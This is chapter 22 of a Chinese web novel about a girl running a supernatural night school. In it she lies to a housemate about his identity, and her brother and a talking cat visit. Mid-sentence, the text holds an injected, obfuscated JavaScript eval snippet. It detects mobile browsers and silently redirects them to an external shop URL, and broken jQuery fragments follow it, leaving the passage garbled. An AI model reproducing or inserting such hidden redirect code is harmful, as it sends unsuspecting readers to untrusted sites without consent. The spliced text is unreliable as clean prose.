文趣网 > 其他小说 > 非正常夜校 > 22. 第 22 章
    “你师父呢?”恢复了精英模样的程昀时,开始了人模狗样的官方交际。

    像一个十分稳重成熟的兄长,客套的拍上莫不言的肩,“不知道你师父现在怎么样了,当年我妹妹住院,他还特意过来看望,我们一家都记着。只是当时事忙,没能好好感谢他。”

    “我师父已经过世了。”莫不言侧头,脸上神情淡淡的,嘴角一抹笑意,眼底却蓄着哀伤。

    程昀时顿时惊讶,他看向强忍悲痛故作释怀的莫不言。决定好好问问他。

    “梅姨,给她床上换回粉色碎花的,她喜欢那种的。”程昀时回头和梅姨交代一下,关切的看向莫不言:“我们去楼下说。”

    两人一起去了楼下客厅。

    房间里的氛围变得更加奇怪,空气仿佛凝固了。梅姨几乎是同手同脚的走到床边,动作幅度极小的,换下了床上的用品。

    “那个,我先拿下去洗啊,等会我来铺新的。”

    梅姨忙不迭的带着东西走了,整个卧室里只剩下了程星痕和白简。

    白简坐在沙发上,手指揪着程星痕睡觉时盖着的那条薄毯。

    柔软的羊毛毯都快被他抠出毛絮来。

    程星痕坐在梳妆台前梳头,凌乱的发丝三两下恢复服帖垂顺。可是她坐着没动,房间里属于白简的东西都被梅姨拿走。

    白简刚来时,那股让她感受侵入领地的不舒服不知什么时候已经消失。

    在她和白简不闹矛盾的时候他俩睡前都会闲聊一会,大多关于夜校,通常都是她说着说着睡着了。

    第二天醒来,两人自然的打招呼洗漱。

    不到一个月的时间,程星痕不仅习惯了白简的存在,还允许他随意进出自己的地盘。

    “我这样把他赶走,是不是不太好?”

    ......

    系统慢悠悠的回答她:“他还是住楼下,这也叫赶走吗?”

    程星痕不知怎么的,有些气闷,那把乌檀木梳被她拍到妆台上。

    声响不小,白简侧头。

    镜子里多出一颗毛茸茸的脑袋。上次他说要剪头发,几次都因为太忙把他忘了。

    还有他身上那件外套,上次程星痕开车出去,遇到观星小镇那家酒店老板也穿同款。

    那个老板已经五十多了。

    是有些老气了。上次他说买衣服不该凶他的。

    白简睁着清澈的眼,疑惑程星痕的情绪。

    但他内心隐秘的冲动现在无法抑制。

    胳膊抬起搭在沙发靠背上,他将身子侧过来,头发遮住了耳朵,下巴轻放在手背。

    “刚刚那个人是你亲哥哥吗?”

    “嗯。”程星痕目光偏移,看着镜子里的白简。

    “你亲哥哥不会不认识你表哥。”

    好嘛,这就来了。程星痕呼吸放轻,心提起又慢慢放下。

    “我根本不是你表哥。”白简神情是认真的,固执的。眼神却并不逼人,只是清亮有神,耐心坚定不闪不避,在镜中与程星痕目光相撞。

    他在期待,但这种期待并不急切。因为他心里已经有了答案。

    “对,”程星痕转过来,从镜子里消失到出现在白简眼里,她已经调整好了自己的表情。

    无懈可击的微笑,左手搭在右手上,优雅的放置在小腹前。

    “你其实是我家长辈捡到的孤儿,做了我们这一门的师兄,但我们是家族传承,你心思敏感,一直觉得自己是个外人,不喜欢和我们接触,总是一个人去抓灵怪,不小心出了意外。我拍你还像以前那样,因为身份自卑,才告诉你,你是我表哥的。”

    很好,这个蹩脚的理由编在这时候简直为她先前的谎言,形成了一个完美闭环。

    白简伸出手指,错愕的指向自己:“我?心思敏感?!”

    虽然大家不知道失忆前的白简是怎么样的,但经过这段时间接触,白简和敏感这个词,想要沾边除非他被灵怪占了躯壳。

    换了多愁善感的女灵怪钻进他身体还差不多。

    “有时候我都不得不佩服你。”系统悠悠叹口气,“你要是早点发挥你这编瞎话的能力,咱这夜校早就干成国际化了。”

    要不是快没命了,她自己都不知道还有这潜能。

    程星痕暗自庆幸的急智,就见白简眉头微皱,盯着一处发呆。

    “该不会给他干傻了了吧?他有时候看着是不太聪明的样子。”她有些纠结,自己是不是不该这么骗白简。

    白简回过神,眉眼间都笼着淡淡的哀伤:“我觉得你说的没错,我确实有些敏感。”

    “啊?”轮到她目瞪口呆。

    他接着甩甩头,收起那副模样,故作欢快的轻松道:“师兄也行吧,至少没有血缘关系了。”

    程星痕猜不到二十多岁男青年的心思,毫无思想包袱的放弃后,接着瞎编。

    “虽然你不是我表哥,但到底还是夜校的一份子,共同建设夜校,你不会退缩吧?”

    他坐在那,摆摆手,笃定道:“当然不会。”

    虽然他自己没这方面的信念。但是瞄向程星痕,果不其然,他的回答让她很满意,那双微微上挑的桃花眼像含着星光。

    能让她开心就好。

    他又带着几分暗藏的羞怯低下头。

    所以,心思敏感也不是瞎说?

    程星痕完全不知道他在想什么。

    “哎呀,你上次说的那个小程序还是APP的,听起来还是蛮好的。不知道什么时候可以做出来的哦,对了,我哥他公司里也有做这块的,我让他找几个人和你一起吧,这样效率高点。”

    “也行。”白简很想自己独立做好,然后找程星痕邀功。听她只夸自己,弯起眼睛只对自己笑。

    但他也知道程星痕着急,夜校也确实需要马上来点不一样的刺激新学员。

    他不能推辞。也很自信他能做到。

    “那我就搬下去了?”他脸有些红,从沙发上站起来。“毕竟还没那啥,住一间卧室确实不太好。”

    说完,步子迈的很急,风风火火的就走了。

    “他该不会又和AI聊了什么了吧?”程星痕挺直的肩瞬间塌下来,想起曾经见过的聊天框。脑子一激灵。

    “这从表哥换成师兄,他会不会因为没有血缘关系而开心,觉得自己有机会?”

    “你知道他喜欢你啊。”系统有些不屑,鄙夷的拉长语调:“我还以为你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891320|212750||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心肝都没了,只知道利用人家呢。”

    “这叫周瑜打黄盖,一个愿打一个愿挨。怎么能叫利用?”她心虚的踢了踢腿。白简赖在她房间不肯走,还觉着俩人是近亲,他的心意是负担而难过时,程星痕都是察觉到的。

    即使他俩因为一些不愉快,白简宁愿躲着她,都不想被她赶出去。他不小心犯的错,也都在很认真的用工作弥补。

    但他们两个怎么能发展成那种关系呢?她连白简到底是谁都不知道。

    想到这,程星痕蹬蹬蹬的跑到床头,从手机里翻找出邢珍珠的微信。将白简的情况发给她。

    灵管局路子多,可能会找到白简的家人吧。

    那到时候,白简就会走了吧?程星痕又看了眼自己发过去的信息。照片是刚刚程昀时偷拍的,她直接转发。

    按住信息,各种选项里只有撤回两个字那么显眼。

    天色渐渐沉了下来。初夏的夜晚总是姗姗来迟,程星痕最终还是熄灭屏幕,将手机丢到了床上。

    转头看向窗外,一片绚丽的晚霞出现在视野里。程星痕赌气般的打开了房间里的灯。借着华丽的人工吊灯模糊掉天边的色彩。

    “上吊都没时间找绳子,谁能有心思看什么晚霞。”

    下了楼,程昀时拉着莫不言坐在沙发上,两人神情放松的交谈着。

    而白简,不尴不尬的坐在挨着两人的单人沙发上。

    看她下来,程昀时昂起下巴:“我和莫小师傅聊的投机,今晚在这住一晚,和他把酒言欢。”

    “随便你。”

    “那个,大小姐,客房已经收拾出来了。白先生原先住的那间也重新打扫好了。”

    程星痕点头,梅姨撸起袖子就往楼上走:“那我再去给您的房间整理一下。”

    一切似乎回到了原先的轨道上。

    肖咪咪脚步轻盈的跳上茶几,接着跳到了程昀时腿上。

    “亲爱的侄子,你怎么来了?”用从电视里学来的译制片腔调,肖咪咪金色的竖瞳眯起,优雅的蹲在他膝头。

    只是,侄子?

    莫不言和白简同时竖起了耳朵。

    “哦,是亲爱的小叔叔啊。”程昀时也学着肖咪咪,古怪的腔调引发了程星痕的笑声。

    程昀时瞪她,她马上闭上了嘴。

    “我就不明白了,你每次都得叫我侄子,怎么不敢叫她侄女啊?”程昀时捏捏猫脸,故意装的气汹汹,“你还懂柿子挑软的捏是吧?”

    肖咪咪甩头,挣脱程昀时的手。抖抖胡子,将自己的猫爪按在程昀时手背上。

    “咪是只尊师重道的咪,她是咪的校长,咪可以暂时忘记她侄女的身份。”

    一只猫一本正经的对着人解释。

    “哼,那又怎么样?她难道不是奶奶的孙女?你不过就是怕她收拾你,一只猫还搞双标。”

    程昀时不服气,环臂歪头,视线对上程星痕。她还得意的冲他做了个鬼脸。

    白简在一边偷偷地笑起来。

    玄关处的大门恰在此时响了起来。

    白简不想被他们发现偷笑,正好站起来去开门。

    坐在客厅的三人一猫,随即听到一声重物落地的声音。